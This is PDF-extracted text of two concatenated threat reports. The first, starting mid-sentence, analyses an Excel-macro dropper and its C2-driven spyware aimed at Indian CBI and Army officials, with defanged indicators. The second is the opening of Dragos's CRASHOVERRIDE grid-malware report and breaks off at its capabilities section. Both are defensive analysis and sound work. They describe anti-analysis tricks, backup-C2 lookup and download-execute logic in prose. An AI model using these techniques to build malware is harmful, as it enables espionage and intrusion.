+possibly be associated with either the Indian Army or a Government entity. This suggests that attackers had prior
+knowledge of the recipient email id through other means.
+In both the cases when the victims opens the attached malicious excel file the same malware sample was dropped
+and executed on the victim
+s system. From the emails (and the attachments) it looks like the goal of the attackers
+was to infect and take control of the systems and to spy on the victims.
+Anti-Analysis Techniques in the Malicious Excel File
+When the victim opens the attached excel file it prompts the user to enable macro content as shown in the below
+2/33
+screen shot.
+To prevent viewing of the macro code and to make manual analysis harder attackers password protected the macro
+content as show below.
+Even though the macro is password protected, It is possible to extract macro code using analysis tools like oletools.
+In this case oletools was used to extract the macro content but it turns out that the oletools was able to extract only
+partial macro content but it failed to extract the malicious content present inside a Textbox within the Userform.
+Below screen shot shows the macro content extracted by the oletools.
+3/33
+This extracted macro content was copied to new excel workbook and the environment was setup to debug the
+macro code. Debugging the macro code failed because the macro code accesses the textbox content within the
+UserForm (which oletools failed to extract). The technique of storing the malicious content inside the TextBox within
+the UserForm allowed the attackers to bypass analysis tools. Below screen shot shows the macro code accessing
+the content from the TextBox and the error triggered by the code due to the absence of the TextBox content.
+To bypass the anti-analysis technique and to extract the content stored in the TextBox within the UserForm the
+password protection was bypassed which allowed to extract the content stored within the UserForm. Below screen
+shot shows the TextBox content stored within the UserForm.
+4/33
+At this point all the components (macro code and the UserForm content) required for analysis was extracted and an
+environment similar to the original excel file was created to debug the malicious macro. Below screen shots show
+the new excel file containing extracted macro code and the UserForm content.
+Analysis of Malicious Excel File
+When the victim opens the excel file and enables the macro content, The malicious macro code within the excel file
+is executed. The macro code first generates a random filename as shown in the below screen shot.
+5/33
+It then reads the executable content stored in the TextBox within the UserForm and then writes the executable
+content to the randomly generate filename in the %AppData% directory. The executable is written in .NET
+framework
+The content stored in the TexBox within the UserForm is an executable content in the decimal format. Below screen
+shot shows converted data from decimal to text. In this case the attackers used the TextBox within the UserForm to
+store the malicious executable content.
+6/33
+The dropped file in the %AppData% directory is then executed as shown in the below screen shot.
+7/33
+Once the dropped file is executed it copies itself into %AppData%\SQLite directory as SQLite.exe and executes as
+shown below.
+As a result of executing SQLite.exe it makes a HTTP connection to the C2 server (qhavcloud[.]com). The C2
+communication shown below contains a hard coded user-agent and the double slash (//) in the GET request this can
+be used to create network based signatures.
+8/33
+Reverse Engineering the Dropped File (SQLite.exe)
+The dynamic/sandbox analysis did not reveal much about the functionality of the malware, in order to understand the
+capabilities of the malware, the sample had be reverse engineered. The malware sample was reverse engineered in
+an isolated environment (without actually allowing it to connect to the c2 server).This section contains reverse
+engineering details of this malware and its various features.
+a) Malware Validates C2 Connection
+Malware checks if the executable is running as SQLite.exe from %AppData%\SQLite directory, if not it copies itself
+as SQLite.exe to %AppData%\SQLite directory as shown below.
+It then launches the executable (SQLite.exe) with the command line arguments as shown in the below screen shots.
+Malware performs multiple checks to make sure that it is connecting to the correct C2 server before doing anything
+malicious. first its pings the C2 domain qhavcloud[.]com. Below screen shots show the ping to the C2 server.
+9/33
+If the ping succeeds then it determines if C2 server is alive by sending an HTTP request, it then reads the content
+from the C2 server and looks for a specific string 
+Connection!
+. If it does not find the string 
+Connection!
+ it assumes
+that C2 is not alive or it is connecting to the wrong C2 server. This technique allows the attackers to validate if they
+are connecting to the correct C2 server and also this technique does not reveal any malicious behavior in
+dynamic/sandbox analysis until the correct response is given to the malware. Below screen shots show the code that
+is performing the C2 connection and the validation.
+If the ping does not succeed or if the C2 response does not contain the string 
+Connection!
+ then the malware gets
+10/33
+the list of backup C2 servers to connect by downloading a text file from the Google drive link. This technique of
+storing a text file containing the list of backup C2 servers on the legitimate site has advantages and it is highly
+unlikely to trigger any suspicion in security monitoring and also can bypass reputation based devices. Below screen
+shots show the code that downloads the text file and text file (info.txt) saved on the disk.
+During the time of analysis the text file downloaded from the Google drive link was populated with two private IP
+addresses, it looks like the attackers deliberately populated the IP addresses with two private IP addresses to
+prevent the researchers from determining actual IP/domain names of the backup C2 servers. Below screen shot
+shows the IP addresses in the text file.
+Once the text file is downloaded the malware reads each and every IP address from the text file and performs the
+same C2 validation check (ping and checks for the string 
+Connection!
+ from the C2 response). Below screen shot
+shows the HTTP connection made to those IP addresses.
+11/33
+b) Malware Sends System Information
+Based on the analysis it was determined that the malware looks for a string 
+Connection!
+ in the C2 response, so the
+analysis environment was configured to respond with a string 
+Connection!
+ whenever the malware made a C2
+connection. Below screen shot shows the C2 communication made by the malware and the expected response.
+Once the malware validates the C2 connection then the malware creates an XML file (SQLite.xml) inside which it
+stores the user name and the password to communicate with the C2 server.
+Malware generates the user name to communicate with the C2 by concatenating a) the machine name, b) a random
+number between 1000 to 9999 and c) the product version of the file. Below screen shot shows the code that
+generates the user name
+Malware generates the password to communicate with the C2 by building an array of 16 random bytes, these
+random bytes are then encoded using base64 encoding algorithm and malware then replaces the characters 
+ and
+12/33
+ with 
+ and 
+ respectively from the encoded data. The attackers use the technique of replacing the standard
+characters with custom characters to makes it difficult to decode the string (containing the characters 
+ and 
+using standard base64 algorithm. Below screen shot shows the code that generates the password.
+Once the user name and password is generated, malware then creates an XML file (SQLITE.xml) and populates the
+XML file with the generated user name and password. Below screen shot shows the code that creates the XML file
+Below screen shot shows the XML file populated with the user name and the password which is used by the
+malware to communicate with the C2 server.
+The malware then collects system information like the computer name, operating system caption, IP address of the
+infected system, product version of the executable file and sends it to the C2 server along with the generated user
+13/33
+name and password using a POST request to postdata.php. Below screen shots show the code that collects the
+system information and the data that is sent to the attacker.
+c) Malware Sends Process Information
+Malware then enumerates the list of all the processes running on the system and sends it to the C2 server along
+with the user name and password using a POST request to JobProcesses.php as shown in the below screen shots.
+This allows the attackers to know which programs are running on the system or if any analysis tools are used to
+inspect the malware.
+14/33
+Malware Functionalities
+Apart from sending the system information and process information to the C2 server, the malware also has the
+capability to perform various other tasks by taking command from the C2. This section focuses on different
+functionalities of the malware
+a) Download & Execute Functionality 1
+Malware triggers the download functionality by connecting to the C2 server and making a request to either
+Jobwork1.php or Jobwork2.php, if the C2 response satisfies the condition then it downloads & executes the file.
+After understanding the logic (logic is mentioned below) & to satisfy the condition the environment was configured to
+give proper response whenever the malware made a request to Jobwork1.php or Jobwork2.php. Below screen shot
+shows the response given to the malware.
+15/33
+Malware then reads the response successfully as shown in the below screen shot.
+from the C2 response it extracts two things a) URL to download an executable file and b) the command string that
+will trigger the download functionality
+From the C2 response the URL is extracted starting from offset 14 (i.e 15th character) and it determines the length
+of the string (URL) to extract by finding the start offset of the string 
+clientpermission
+ once it finds it, its offset value
+is subtracted with 17.
+The command string to trigger the download functionality is extracted from the C2 response using the logic shown
+below. Below screen shot shows the logic used to extract the URL and the command strings, in the below screen
+shot the extracted command string is stored in the variable ServerTask1Permission.
+16/33
+Once the URL and command string is extracted, the malware compares the command string with the string
+Pending
+, only if the command string matches with string 
+Pending
+ the download functionality is triggered.
+When all the above mentioned conditions are satisfied the malware downloads the executable from the URL
+extracted from the C2 response. Below screen shot shows the URL extracted from the C2 response.
+Note: In the below screen shot the URL (hxxp://c2xy.com/a.exe) is not the actual URL used by the malware for
+downloading the file, this is a test URL used to determine the functionality, so this URL should not used as an
+indicator.
+Below screen shot shows the network traffic of malware trying to download the executable file from the extracted
+URL.
+17/33
+The downloaded executable is saved in the %AppData%\SQLite directory as shown in the below screen shot.
+The downloaded file is then executed by the malware as shown in the below screen shot.
+Once the downloaded file is executed the malware reports that the download & execute was successful by making a
+POST request to JobDone.php as shown in the below screen shots
+18/33
+This functionality allows the attacker to change their hosting site (from where the malware will be downloaded), this
+can be achieved by changing the C2 response containing different URL.
+b) Download & Execute Functionality 2
+Malware also supports second type of download functionality,instead of extracting the URL from the C2 response
+and downloading the executable, it gets executable content from the networks stream from a hard coded IP address
+and then writes it to the disk and executes it.
+This functionality is triggered by making a request to either JobTcp1.php or JobTcp2.php, if the C2 response
+satisfies the condition then it gets the executable content from a hard coded IP address. After understanding the
+logic & to satisfy the condition the environment was configured to give proper response when the malware made a
+request to JobTcp1.php or JobTcp2.php. Below screen shot shows the response given to the malware.
+19/33
+Malware then reads the c2 response and from the C2 response it extracts two things a) filename and b) the
+command string that will trigger the download functionality.
+From the C2 response the filename is extracted starting from offset 14 (i.e 15th character) and it determines the
+length of the string to extract by finding the start offset of the string 
+clientpermission
+ once it finds it, its offset value
+is subtracted with 17. The command string to trigger the download functionality is extracted from the C2 response
+using the logic shown below. Below screen shot shows the logic used to extract the filename and the command
+string, in the below screen shot the extracted command string is stored in the variable ServerTask1Permission.
+Once the filename and command string is extracted, the malware compares the command string with the string
+Pending
+, if the command string matches with string 
+Pending
+ then the extracted filename (in this case the
+extracted filename is 
+testfile
+) from the C2 response is concatenated with 
+.exe
+ as shown below.
+20/33
+It then connects to the hard coded IP 91[.]205[.]173[.]3 on port 6134, and it sends the concatenated filename
+(testfile.exe) as shown below.
+The IP address after verifying the filename then returns the executable content which malware reads directly from
+the network stream and writes to the disk in the %Appdata%\SQLIte directory as shown below.
+21/33
+The dropped file is then executed as shown in the below screen shot.
+c) Update Functionality
+Malware has the capability to update itself this is done by making a request to updateproductdownload.php, if C2
+response satisfies the condition then it downloads the updated executable from an URL. After understanding the
+logic & to satisfy the condition the environment was configured to give proper response. Below screen shot shows
+the response given to the malware when it makes a request to updateproductdownload.php
+22/33
+Malware then reads the c2 response and from the C2 response it extracts two things a) URL to download the
+updated executable and b) the command string that will trigger the update functionality
+From the C2 response the URL is extracted by finding the start offset of the string 
+updatetpermission
+ once it finds
+it, its offset value is subtracted with 17 to get the URL from where the updated executable will be downloaded. To get
+the command string malware extracts the string starting from the offset of the string 
+updatetpermission
+ + 19 and
+extracts a 7 character length string which it uses as the command string.
+Below screen shot shows the logic used to extract the URL and the command string, in the below screen shot the
+extracted command string is stored in the variable ServerUpdatePermissionInstruction.
+Once the URL and command string is extracted, the malware compares the command string with the string
+Pending
+, only if the command string matches with string 
+Pending
+ then the malware downloads the updated
+executable from the extracted URL. Below screen shot shows the code which performs the check and and extracted
+Note: In the below screen shot the URL (hxxp://c2xyup.com/update.exe) is not the actual URL used by the malware
+for updating, this is a test URL used to determine the functionality, so this URL should not used as an indicator.
+23/33
+The malware then downloads the updated executable and drops it in the %Appdata%\SQLite directory as shown in
+the below screen shots.
+Once it downloads the updated executable then the malware creates a value in the Run registry key for persistence,
+before that it deletes the old entry and adds the new entry so that next time when the system starts the updated
+executable will run. Below screen shots show the registry entry added by the malware.
+24/33
+The functionality allows the attacker to update their malware components.
+d) Delete/Uninstall Functionality
+Malware also has the capability to delete itself this is done by making a request to Uninstaller.php. Below screen
+shot shows the code that makes this request.
+25/33
+The environment was configured to give a proper response to trigger the uninstall/delete functionality. Below screen
+shot shows the network traffic making the POST request to Uninstaller.php and the returned response.
+Malware then checks if the C2 response contains the string 
+delete
+. Below screen shots show the code that reads
+the C2 response and the code that performs the check.
+26/33
+If the C2 response contains the string 
+delete
+, then the malware first deletes the entry from the Run registry that the
+malware uses for persistence as shown below.
+After deleting the registry entry, malware deletes all the files from the %Appdata%\SQLite directory by creating a
+batch script. The batch script pings a hard coded IP address 180[.]92[.]154[.]176 10 times (this is a technique used
+to sleep for 10 seconds) before deleting all the files.
+27/33
+Once the all the files are deleted the malware kills its own process as shown in the below screen shot.
+This functionality allows the attackers to delete their footprints on the system.
+C2 Information
+This section contains the details of the C2 domain qhavcloud[.]com. This C2 domain was associated with two IP
+addresses. Both of these IP addresses is associated with hosting provider in Germany as shown in the screen shots
+below.
+28/33
+The hard coded IP address 91[.]205[.]173[.]3 in the binary from where the malware downloads additional
+components is also associated with the same hosting provider in Germany as shown below.
+The C2 domain qhavcloud[.]com was also found to be associated with multiple malware samples in the past. Below
+screen shot shows the md5 hashes of the samples that is associated with the C2 domain.
+29/33
+The C2 domain qhavcloud[.]com and the hard coded IP address 91[.]205[.]173[.]3 were also found to be associated
+with another attack campaign which targeted the senior army officers. This suggests that the same espionage group
+involved in this attack also targeted the senior army officers using a different email theme.
+Threat Intelligence
+Investigating the domain idsadesk[.]in (which was used to send the email by impersonating the identity of IDSA)
+shows that it was created on 20th Feb 2017 (which is the day before the spear-phishing email was sent to the
+victims). Most of the registrant information seems to be fake and another notable detail that is of interest is the
+registrant country and country code (+92) of registrant phone number is associated with Pakistan.
+30/33
+Further investigation shows that the same registrant email id was also used to register another similar domain
+(idsagroup[.]in) which also impersonates the identity of IDSA. This impersonating domain was also registered on the
+same day 20th February 2017 and this domain could also be used by the attackers to send out spear-phishing
+emails to different targets.
+While investigating the malware
+s uninstall/delete functionality it was determined that malware creates a batch script
+to delete all its files but before deleting all the files it pings 10 times to an hard coded IP address 180[.]92[.]154[.]176
+as shown below.
+31/33
+Investigating this hard coded IP address shows that it is located in Pakistan. The Pakistan connection in the whois
+information and the hard coded IP address is interesting because the previous two attacks against Indian Ministry of
+External Affairs and Indian Navy
+s submarine manufacturer also had a Pakistan connection. Based on just the whois
+information (which can be faked) and the location of the IP address it is hard to say if the Pakistan espionage group
+is involved in this attack, but based on the email theme, tactics used to impersonate Indian think tank (IDSA) and the
+targets chosen that possibility is highly likely. Below screen shot shows the location of the hard coded IP address.
+Indicators Of Compromise (IOC)
+In this campaign the cyber espionage group targeted Central Bureau of Investigation (CBI) but it is possible that
+other government entities could also be targeted as part of this attack campaign. The indicators associated with this
+attack are provided so that the organizations (Government, Public, Private organizations and Defense sectors) can
+use these indicators to detect, remediate and investigate this attack campaign. Below are the indicators
+Dropped Malware Sample:
+f8daa49c489f606c87d39a88ab76a1ba
+Related Malware Samples:
+15588a9ba1c0abefd38ac2594ee5be53
+04b4b036a48dc2d2022cc7704f85a560
+becc8e77ef003a4c88f7e6348ffd3609
+ceeeacbaf38792bcf06022e2b4874782
+515dce0ede42052ff3ef664db9873cea
+50c1d394bfa187ffd6251df6dd14e939
+3bd16cc1d1fea7190c36b3bd10c6810d
+b6c861556412a15b7979459176b7d82f
+Network Indicators Associated with C2:
+qhavcloud[.]com
+173[.]212[.]194[.]214
+173[.]212[.]193[.]53
+91[.]205[.]173[.]3
+180[.]92[.]154[.]176
+Domains Impersonating the Identity of Indian Think Tank (IDSA):
+32/33
+idsadesk[.]in
+idsagroup[.]in
+Email Indicator:
+iasia69@z7az14m[.]com
+C2 Communication Patterns:
+hxxp://qhavcloud[.]com//northernlights//PingPong.php
+hxxp://qhavcloud[.]com//northernlights//postdata.php
+hxxp://qhavcloud[.]com//northernlights//JobProcesses.php
+hxxp://qhavcloud[.]com//northernlights//JobWork1.php
+hxxp://qhavcloud[.]com//northernlights//JobWork2.php
+hxxp://qhavcloud[.]com//northernlights//JobTCP1.php
+hxxp://qhavcloud[.]com//northernlights//JobTCP2.php
+hxxp://qhavcloud[.]com//northernlights//updateproductdownload.php
+hxxp://qhavcloud[.]com//northernlights//Uninstaller.php
+Conclusion
+Attackers in this case made every attempt to launch a clever attack campaign by impersonating the identity of highly
+influential Indian Think tank to target Indian investigative agency and the officials of the Indian army by using an
+email theme relevant to the targets. The following factors in this cyber attack suggests the possible involvement of
+Pakistan state sponsored cyber espionage group to spy or to take control of the systems of the officials of Central
+Bureau of Investigation (CBI) and officials of the Indian Army.
+Use of domain impersonating the identity of highly influential Indian think tank
+Victims/targets chosen (CBI and Army officials)
+Use of Email theme that is of interest to the targets
+Location of one of the hard coded IP address in the binary
+Use of TTP
+s (tactics, techniques & procedures) similar to the previous campaigns targeting Indian Ministry of
+External Affairs and Indian Navy
+s Warship Manufacturer.
+Use of the same C2 infrastructure that was used to target senior army officers
+The attackers in this case used multiple techniques to avoid detection and to frustrate analysts. The following factors
+reveal the attackers intention to remain stealthy and to gain long-term access by evading analysis and security
+monitoring at both the desktop and network levels.
+Use of password protected macro to prevent viewing the code and to make manual analysis harder
+Use of TextBox within the UserForm to store malicious content to bypass analysis tools
+Use of legitimate service like Google drive to store the list of back up C2 servers to bypass security
+monitoring and reputation based devices.
+Use of malware that performs various checks before performing any malicious activity
+Use of backup C2 servers and hosting sites to keep the operation up and running
+Use of hosting provider to host C2 infrastructure
+33/33
+CRASHOVERRIDE
+Analysis of the Threat
+to Electric Grid Operations
+DRAGOS INC. / WWW.DRAGOS.COM
+version 2.20170613
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+CRASHOVERRIDE
+Analyzing the Threat to
+Electric Grid Operations
+Contents
+Executive Summary
+Why Are We Publishing This
+Key Takeaways
+Background
+Introduction to Electric Grid Operations
+Evolution of Tradecraft
+STUXNET
+Dragonfly/HAVEX
+BLACKENERGY 2
+Ukraine Cyber Attack 2015
+CRASHOVERRIDE
+Capabilities
+Capabilities Overview
+Module Commonalities
+Backdoor/RAT Module
+Launcher Module
+Data Wiper Module
+IEC 104 Module
+IEC 101 Module
+61850 Module
+OPC DA Module
+SIPROTECT DoS Module
+Capability Conclusions
+Implications of capability
+Attack Option: De-energize substation
+Attack Option: Force an Islanding event
+Adding Amplification Attacks
+Using OPC to create a Denial of Visibility
+Using CVE-2015-5374 to hamper protective relays
+Defense Recommendations
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Executive Summary
+Dragos, Inc. was notified by the Slovak anti-virus firm ESET of an ICS tailored malware on June 8th, 2017. The Dragos team was able to use this notification to find
+samples of the malware, identify new functionality and impact scenarios, and confirm that this was the malware employed in the December 17th, 2016 cyber-attack
+on the Kiev, Ukraine transmission substation which resulted in electric grid operations impact. This report serves as an industry report to inform the electric sector
+and security community of the potential implications of this malware and the appropriate details to have a nuanced discussion.
+Why Are We Publishing This
+Security firms must always balance a need to inform the public against empowering
+adversaries with feedback on how they are being detected and analyzed. This case is
+no different. In fact, it is more important given that there is no simple fix as the capability described in this report takes advantage of the knowledge of electric grid systems. It is not an aspect of technical vulnerability and exploitation. It cannot just be
+patched or architected away although the electric grid is entirely defensible. Human
+defenders leveraging an active defense such as hunting and responding internally to
+the industrial control system (ICS) networks can ensure that security is maintained.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Key Takeaways
+The malware self-identifies as 
+crash
+ in multiple locations thus leading to the
+naming convention 
+CRASHOVERRIDE
+ for the malware framework.
+CRASHOVERRIDE is the first ever malware framework designed and deployed to
+attack electric grids.
+CRASHOVERRIDE is the fourth ever piece of ICS-tailored malware (STUXNET,
+BLACKENERGY 2, and HAVEX were the first three) used against targets and the
+second ever to be designed and deployed for disrupting physical industrial processes (STUXNET was the first).
+CRASHOVERRIDE is not unique to any particular vendor or configuration and
+instead leverages knowledge of grid operations and network communications
+to cause impact; in that way, it can be immediately re-purposed in Europe and
+portions of the Middle East and Asia.
+CRASHOVERRIDE is extensible and with a small amount of tailoring such as the
+inclusion of a DNP3 protocol stack would also be effective in the North American grid.
+CRASHOVERRIDE could be leveraged at multiple sites simultaneously, but the
+scenario is not cataclysmic and would result in hours, potentially a few days, of
+outages, not weeks or more.
+Dragos assesses with high confidence that the same malware was used in the
+cyber-attack to de-energize a transmission substation on December 17, 2016,
+resulting in outages for an unspecified number of customers.
+The functionality in the CRASHOVERRIDE framework serves no espionage purpose and the only real feature of the malware is for attacks which would lead to
+electric outages.
+CRASHOVERRIDE could be extended to other industries with additional protocol modules, but the adversaries have not demonstrated the knowledge of
+other physical industrial processes to be able to make that assessment anything
+other than a hypothetical at this point and protocol changes alone would be
+insufficient.
+Dragos, Inc. tracks the adversary group behind CRASHOVERRIDE as ELECTRUM
+and assesses with high confidence through confidential sources that ELECTRUM
+has direct ties to the Sandworm team. Our intelligence ICS WorldView customers have received a comprehensive report and this industry report will not
+get into sensitive technical details but instead focus on information needed for
+defense and impact awareness.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Background
+On June 8th, 2017 the Slovak anti-virus firm ESET shared a subset of digital hashes of the malware described below and a portion of their analysis with Dragos.
+The Dragos team was asked to validate ESET
+s findings to news publications ESET
+had contacted about the story which would be published June 12th, 2017. Dragos
+would like to thank ESET for sharing the digital hashes which allowed the Dragos
+team to spawn its investigation. Without control of the timeline, it was Dragos
+desire to publish a report alongside ESET
+s report to capture the nuance of electric grid operations. The report also contains new discoveries, indicators, and implications of the tradecraft. Also, because of the connection to the activity group
+Dragos tracks as ELECTRUM, it was our decision that an independent report was
+warranted. The Dragos team has been busy over the last 96 hours reproducing and
+verifying ESET
+s analysis, hunting for new samples of the malware and potential additional infections, notifying appropriate companies, and informing our customers.
+Importantly, Dragos also updated ICS vendors that needed to be made aware of
+this capability, relevant government agencies, many national computer emergency response teams (CERTs), and key players in the electric energy community. Our
+many thanks to those involved.
+If you are a Dragos, Inc. customer, you will have already received the more concise
+and technically in-depth intelligence report. It will be accompanied by follow-on
+reports, and the Dragos team will keep you up-to-date as things evolve. It is in
+Dragos
+ view that the following report contains significant assessments that deserve a wide audience in the electric sector. Avoiding hype and fear should always
+be paramount but this case-study is of immediate significance, and this is not a
+singular contained event. The CRASHOVERRIDE capability is purpose built to impact electric grid operations and has been created as a framework to facilitate the
+impact of electric grids in other countries in the future outside the attack that took
+place with it December 17th, 2016 in Ukraine. However, as always, the defense is
+doable.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Introduction to Electric Grid Operations
+As with most ICS specific incidents, the most interesting components of the attack
+are in how the adversary has demonstrated they understand the physical industrial process. Whereas vulnerabilities, exploits, and infection vectors can drive discussions in intrusion analysis of IT security threats that is not the most important
+aspect of an ICS attack. To fully understand the CRASHOVERRIDE framework, its
+individual capabilities, and overall impact on ICS security it is important to understand certain fundamentals of electric grid operations.
+Simplistically, the electric grid can be categorized into three functions: generation
+of electricity at power plants, transmission from the power plants across typically
+long distances at high voltage, and then stepped down to lower voltage to distribution networks to power customers. Along these long transmission and distribution
+systems are substations to transform voltage levels, serve as switching stations and
+feeders, and fault protection.
+Many industries feed into the electric grid, and those differences require different
+systems and communications. As an example, while a power plant feeds energy
+into the electric grid there is no one-size-fits-all approach to power plants. There
+are power plants that cover different sources of fuel including coal-fired, nuclear
+generation, wind farm, solar farm, gas turbine power, hydroelectric and more. This
+means that the electric grid must be a robust, almost living creature, which moves
+and balances electricity across large regions. Electric grids use a special type of
+industrial control system called a supervisory control and data acquisition (SCADA)
+system to manage this process across large geographical areas. Transmission and
+distribution owners have their substations in their particular geographical footprint
+and control centers manage the cross-territory SCADA systems 24/7 by human operators. These control centers often regularly manage the continual demand and
+response of their customers, respond to faults, and plan and work with neighboring
+utilities.
+This simplistic view of grid operations is similar around the world. There are often vendor and network protocol differences between countries but the electrical
+engineering, and the overall process is largely the same between nations. As an
+example, these systems use SCADA and leverage systems such as remote terminal
+units (RTUs) to control circuit breakers. As the breakers open and close, substations
+are energized or de-energized to balance power across the grid. Some network
+protocols such as IEC 104, a TCP-based protocol, and its serial protocol companion IEC 101, are often regional specific. Europe, some of Asian, and portions of
+the Middle East leverage these protocols to control RTUs from the SCADA human
+machine interfaces (HMIs).
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Figure 1: Simplistic Mockup of Electric Grid Operations Systems and Communications Relevant for CRASHOVERRIDE
+In North America, the protocol of choice for this is the Distributed Network Protocol 3 (DNP3). The various protocols purposes are largely the same though: control
+physical equipment through RTUs, programmable logic controllers (PLCs), and
+other final control elements via HMIs as a part of the larger SCADA system. Some
+protocols have been adopted cross-country including IEC 61850 which is usually leveraged from an HMI to work with equipment such as digital relays and other
+types of intelligent electronic devices (IEDs). IEDs are purpose built microprocessor-based control devices and can often be found alongside power equipment
+such as circuit breakers. IEDs and RTUs operate in a master/slave capacity where
+the slave devices are polled and sent commands by master devices.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Substations manage the flow of power through transmission or distribution lines.
+Management of energizing and de-energizing of these lines ultimately control
+when and where the flow of power moves in and out of the substation. If you
+open
+ a breaker you are removing the path where the electricity is flowing, or
+de-energizing it. If you 
+close
+ a breaker then you are energizing the line by closing
+the gap and allowing the power to 
+flow.
+ This concept is similar to anyone who
+has tripped (opened) a breaker in their house. Traditional 
+ or 
+IT security
+ staff
+may be confused on this terminology as it is opposite to how one would describe
+firewall rules where 
+open
+ means network traffic may flow and 
+closed
+ means
+network traffic is prohibited.
+The grid is a well-designed system, and while damage can be done, it is vital to understand that in nations around the world the electric community has designed the
+system to be reliable and safe which has a natural byproduct of increased security. In the United States as an example, reliability is reinforced with regular training
+and events such as the North American grid
+s GridEx where grid operators train for
+events from hurricanes, to terrorist incidents, to cyber-attacks and how they will
+respond to such outages. There is constantly a balance that must be understood
+when referring to grid operations: yes, the systems are vulnerable and more must
+be done to understand complex and multi-stage attacks, but the grid is also in a
+great defensible position because of the work of so many over the years.
+Evolution of Tradecraft
+CRASHOVERRIDE represents an evolution in tradecraft and capabilities by adversaries who wish to do harm to industrial environments. To fully appreciate the
+malware it is valuable to compare it to its predecessors and the Ukraine 2015 cyber
+attack.
+STUXNET
+The STUXNET malware has been written about extensively and referenced, at
+times, unfortunately, in comparison to most ICS related incidents and malware. It
+was the first confirmed example of ICS tailored malware leveraged against a target. The Windows portion of the code with its four zero-day exploits gained a lot
+of notoriety. However, it was the malware
+s payload that was specific to ICS that
+was the most interesting component. The tradecraft exhibited by STUXNET was
+the detailed understanding of the industrial process. In IT networks, it is important
+for adversaries to identify vulnerabilities and exploit them to load malware and gain
+privileges on systems.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+In ICS networks though, some of the most concerning issues are related to an
+adversary
+s ability to learn the physical process such as the engineering of the
+systems and their components in how they work together. STUXNET
+s greatest
+strength was leveraging functionality in Siemens equipment to interact with nuclear enrichment centrifuges through abuses of intended functionality. The purpose
+of the Siemens equipment was to be able to control and change the speed of the
+centrifuges. Stuxnet did this as well but with pre-programmed knowledge from the
+attackers on the speeds that would cause the centrifuge to burst from their casings. ICS tailored malware leveraging knowledge of industrial processes was now a
+thing. However, it was specific to Siemens equipment and unique to the Natanz facility in Iran. While tradecraft and exploits can be replicated, it was not reasonable
+to re-purpose the Stuxnet capability.
+Dragonfly/HAVEX
+The Dragonfly campaign was an espionage effort that targeted numerous industrial
+control system locations, estimates put it at over 2,000 sites, with a large emphasis on electric power and petrochemical asset owners. The Dragonfly campaign
+leveraged the HAVEX malware. There are often not many commonalities between
+different industrial sites. Even a single substation in one company can be almost
+entirely different than a substation in the same company based on vendors, implementation, integration, and the physical processes required at each site. One of the
+few commonalities across numerous ICS industries though is the OPC protocol.
+It is designed to be the universal translator for many industrial components and is
+readily accessible in an HMI or dedicated OPC server. The HAVEX malware leveraged legitimate functionality in the OPC protocol to map out the industrial equipment and devices on an ICS network. It was a clever use of the protocol and while
+the malware itself was not complex the tradecraft associated with the usage of
+OPC was sophisticated. However, the Dragonfly campaign was focused entirely on
+espionage. There was no physical disruption or destruction of the industrial process. Instead, it was the type of data you would want to leverage to design attacks
+in the future built for the specific targets impacted with the malware.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+BLACKENERGY 2
+The Sandworm team has targeted numerous industries ranging from western militaries, governments, research organizations, defense contractors, and industrial
+sites. It was their use of the BLACKENERGY 2 malware that caught the ICS industry
+s attention. This ICS tailored malware contained exploits for specific types of
+HMI applications including Siemens SIMATIC, GE CIMPLICITY, and Advantech WebAccess. BLACKENERGY 2 was a smart approach by the adversaries to target internet connected HMIs. Upon exploitation of the HMIs, the adversaries had access
+to a central location in the ICS to start to learn the industrial process and gain the
+graphical representation of that ICS through the HMI. The targeting of HMIs alone
+is often not enough to cause physical damage, but it is an ideal target for espionage and positioning in an ICS. Gaining a foothold in the network that had access
+to numerous components of the ICS while maintaining command and control to
+Internet locations, positioned it well for espionage.
+Ukraine Cyber Attack 2015
+The cyber-attack on three power companies in Ukraine on December 23rd, 2015
+marked a revolutionary event for electric grid operators. It was the first known instance where a cyber-attack had disrupted electric grid operations. The Sandworm
+team was attributed to the attack and their use of the BLACKENERGY 3 malware.
+BLACKENERGY 3 does not contain ICS components in the way that BLACKENERGY 2 did. Instead, the adversaries leveraged the BLACKENERGY 3 malware to gain
+access to the corporate networks of the power companies and then pivot into the
+SCADA networks. While in the environment the adversaries performed their reconnaissance and eventually leveraged the grids systems against itself. They learned
+the operations and used the legitimate functionality of distribution management
+systems to disconnect substations from the grid leaving 225,000+ customers
+without power for upwards of 6 hours until manual operations could restore power. However, due to the wiping of Windows systems through the KillDisk malware
+and destruction of serial-to-Ethernet devices through malicious firmware updates,
+the Ukrainian grid operators were without their SCADA environment, meaning they
+lost the ability for automated control, for upwards of a year in some locations. The
+most notable aspect of the attack was the adversary
+s focus on learning how to
+leverage the systems against themselves. Malware enabled the attack, and malware
+delayed restoration efforts, but it was the direct interaction of the adversary leveraging the ICS against itself that resulted in the electric power disruptions, not malware.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+CRASHOVERRIDE
+The CRASHOVERRIDE malware impacted a single transmission level substation
+in Ukraine on December 17th, 2016. Many elements of the attack appear to have
+been more of a proof of concept than what was fully capable in the malware. The
+most important thing to understand though from the evolution of tradecraft is the
+codification and scalability in the malware towards what has been learned through
+past attacks. The malware took an approach to understand and codify the knowledge of the industrial process to disrupt operations as STUXNET did. It leveraged
+the OPC protocol to help it map the environment and select its targets similar to
+HAVEX. It targeted the libraries and configuration files of HMIs to understand the
+environment further and leveraged HMIs to connect to Internet-connected locations when possible as BLACKENERGY 2 had done. And it took the same type
+of approach to understanding grid operations and leveraging the systems against
+themselves displayed in Ukraine 2015
+s attack. It did all of these things with added
+sophistication in each category giving the adversaries a platform to conduct attacks against grid operations systems in various environments and not confined to
+work only on specific vendor platforms. It marks an advancement in capability by
+adversaries who intend to disrupt operations and poses a challenge for defenders
+who look to patching systems as a primary defense, using anti-malware tools to
+spot specific samples, and relying upon a strong perimeter or air-gapped network
+as a silver-bullet solution. Adversaries are getting smarter, they are growing in their
+ability to learn industrial processes and codify and scale that knowledge, and defenders must also adapt.
+C R A S H OV E R R I D E : Threat to the Electic Grid Operations
+Capabilities
